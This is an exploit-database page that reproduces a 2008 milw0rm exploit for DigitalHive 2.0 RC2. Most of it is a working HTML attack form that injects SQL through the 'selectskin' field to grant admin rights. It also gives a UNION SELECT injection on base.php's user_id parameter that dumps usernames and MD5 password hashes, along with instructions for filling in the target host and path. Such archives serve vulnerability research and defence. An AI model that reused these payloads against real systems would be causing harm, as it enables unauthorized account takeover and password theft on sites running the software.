Lucene search
K

DigitalHive <= 2.0 RC2 (user_id) Remote SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 23 Views

DigitalHive v2.0 RC2 Remote SQL Injection exploit by j0j0. Account creation and login required. Change form action URL. Admin access granted through SQL injection. Another injection vulnerability on base.php

Code

                                                &#60;!--
    Hive v2.0 RC2 Remote SQL Injection
    c0ded by j0j0
--&#62;
&#60;html&#62;
&#60;head&#62;
&#60;style type=&#34;text/css&#34;&#62;
body {
    margin:3%;
    font-size:10px;
    color:#FFFFFF;
    font-family:Verdana,Arial;
    background-color:#1a1a1a;
    text-align: center;
}
input {
    background:#303030;
    color:#FFFFFF;
    font-family:Verdana,Arial;
    font-size:10px;
    vertical-align:middle;
    border-left:1px solid #5d5d5d;
    border-right:1px solid #121212;
    border-bottom:1px solid #121212;
    border-top:1px solid #5d5d5d;
    padding: 3px;
    margin: 2px;
}
input[type=text] {
    width: 200px;
}
textarea {
    background:#303030;
    color:#FFFFFF;
    font-family:Verdana,Arial;
    font-size:10px;
    vertical-align:middle;
    border-left:1px solid #121212;
    border-right:1px solid #5d5d5d;
    border-bottom:1px solid #5d5d5d;
    border-top:1px solid #121212;
}
table td {
    font-size: 10px;
    font-family: Verdana, Arial;
}
h3 { color: #CC0000; }
a {
    color: #999999;
    text-decoration: none;
    font-weight: bold;
}
#exploit {
    font-family: Courier New, sans-ms;
    font-size: 12px;
    color: #00FF00;
    width: 400px;
    text-align: left;
}
&#60;/style&#62;
&#60;/head&#62;
&#60;body&#62;
&#60;center&#62;
&#60;h3&#62;Hive v2.0 RC2 Remote SQL Injection&#60;br /&#62;&#60;br /&#62;-= c0ded by j0j0 =-&#60;/h3&#62;
&#60;br /&#62;
&#60;p&#62;you must first create an account, and log in.&#60;br /&#62;
then you can send exploit&#60;br /&#62;
&#60;span style=&#34;color:#cc0000;&#34;&#62;don&#39;t forget to change the action=&#34;&#34; URL of this form&#60;/span&#62;&#60;/p&#62;
&#60;p&#62;&nbsp;&#60;/p&#62;

&#60;table width=&#34;600px&#34; cellspacing=&#34;1&#34;&#62;
    &#60;tr&#62;
        &#60;td width=&#34;20%&#34; class=&#34;td5_2&#34;&#62;Username&#60;/td&#62;
        &#60;td class=&#34;td5_1&#34;&#62;&#60;input type=&#34;text&#34; name=&#34;id&#34; value=&#34;admin&#34; /&#62;&#60;/td&#62;
        &#60;td&#62;you will use this username to login&#60;/td&#62;
    &#60;/tr&#62;
    &#60;tr&#62;
        &#60;td class=&#34;td5_2&#34;&#62;Password&#60;/td&#62;
        &#60;td class=&#34;td5_1&#34;&#62;&#60;input type=&#34;text&#34; name=&#34;password&#34; value=&#34;admin&#34; /&#62;&#60;/td&#62;
        &#60;td&#62;you will use this password to login&#60;/td&#62;
    &#60;/tr&#62;
    &#60;tr&#62;
        &#60;td class=&#34;td5_2&#34;&#62;Mail&#60;/td&#62;
        &#60;td class=&#34;td5_1&#34;&#62;&#60;input type=&#34;text&#34; class=&#34;texte&#34; name=&#34;mail&#34; size=&#34;24&#34; value=&#34;[email protected]&#34; /&#62;&#60;/td&#62;
        &#60;td&#62;email doesn&#39;t have importance&#60;/td&#62;
    &#60;/tr&#62;
    &#60;tr&#62;
        &#60;td class=&#34;td5_2&#34;&#62;SQL Injection&#60;/td&#62;
        &#60;td colspan=&#34;3&#34; class=&#34;td5_1&#34;&#62;
            &#60;input name=&#34;selectskin&#34; type=&#34;text&#34; value=&#34;purpletech&#39;, niveau_num=4 WHERE num=2 /*&#34;/&#62;
        &#60;/td&#62;
    &#60;/tr&#62;
&#60;/table&#62;
&#60;p&#62;purpletech&#39;, niveau_num=4 WHERE num=2 /*  &#60;-- niveau_num is for admin access / num is the member id (default admin id is 2)&#60;br /&#62;&#60;/p&#62;
&#60;br&#62;
&#60;input type=&#34;submit&#34; name=&#34;submitButtonName&#34; value=&#34;Attack&#34;&#62;
&#60;p&#62;&nbsp;&#60;/p&#62;
&#60;p&#62;Now you are admin, logout and re-login with new username/password&#60;/p&#62;
&#60;p&#62;There is another one injection   :
&#60;div style=&#34;max-width:500px;&#34;&#62;
    http://{HOST}/{PATH}/base.php?page=gestion_membre.php&var=profil&user_id=-9999999&#39;/**/UNION/**/SELECT/**/

    0,concat(nick,char(58),pass),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0/**/FROM/**/_user/**/WHERE&#60;br /&#62;/**/{SQL_PREFIX}_user.num={MEMBER_ID}/**//*&#60;br /&#62;
&#60;/div&#62;
&#60;br /&#62;&#60;br /&#62;
Change {HOST}, {PATH}, {SQL_PREFIX} and {MEMBER_ID}&#60;br /&#62;
then look at the &#34;Pseudonyme&#34; field, you&#39;ve got LOGIN:MD5_PASSWORD)&#60;/p&#62;
&#60;!--
Hidden inputs
--&#62;
&#60;input type=&#34;hidden&#34; class=&#34;texte&#34; name=&#34;nom&#34; size=&#34;24&#34; value=&#34;h4ck3d&#34; &#62;
&#60;input type=&#34;hidden&#34; class=&#34;texte&#34; name=&#34;prenom&#34; size=&#34;24&#34; value=&#34;h4ck3d&#34; &#62;
&#60;input type=&#34;hidden&#34; class=&#34;texte&#34; name=&#34;age&#34; size=&#34;24&#34; value=&#34;h4ck3d&#34;  &#62;
&#60;input type=&#34;hidden&#34; class=&#34;texte&#34; name=&#34;icq&#34; size=&#34;24&#34; value=&#34;h4ck3d&#34;  &#62;
&#60;input type=&#34;hidden&#34; class=&#34;texte&#34; name=&#34;adresse&#34; size=&#34;24&#34; value=&#34;h4ck3d&#34;  &#62;
&#60;input type=&#34;hidden&#34; class=&#34;texte&#34; name=&#34;msn&#34; size=&#34;24&#34; value=&#34;h4ck3d&#34;  &#62;
&#60;input type=&#34;hidden&#34; class=&#34;texte&#34; name=&#34;aim&#34; size=&#34;24&#34; value=&#34;h4ck3d&#34;  &#62;
&#60;input type=&#34;hidden&#34; class=&#34;texte&#34; name=&#34;hobbie&#34; size=&#34;24&#34; value=&#34;h4ck3d&#34;  &#62;
&#60;input type=&#34;hidden&#34; class=&#34;texte&#34; name=&#34;yahoo&#34; size=&#34;24&#34; value=&#34;h4ck3d&#34;  &#62;
&#60;input type=&#34;hidden&#34; class=&#34;texte&#34; name=&#34;site&#34; size=&#34;24&#34; value=&#34;h4ck3d&#34;  &#62;
&#60;input type=&#34;hidden&#34; class=&#34;texte&#34; name=&#34;text&#34; size=&#34;24&#34; value=&#34;h4ck3d&#34;  &#62;
&#60;input type=&#34;hidden&#34; class=&#34;texte&#34; name=&#34;selectlangue&#34; size=&#34;24&#34; value=&#34;h4ck3d&#34;  &#62;
&#60;input type=&#34;hidden&#34; value=&#34;false&#34; name=&#34;online&#34;  &#62;
&#60;/form&#62;
&#60;/center&#62;
&#60;/body&#62;
&#60;/html&#62;

# milw0rm.com [2008-01-11]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation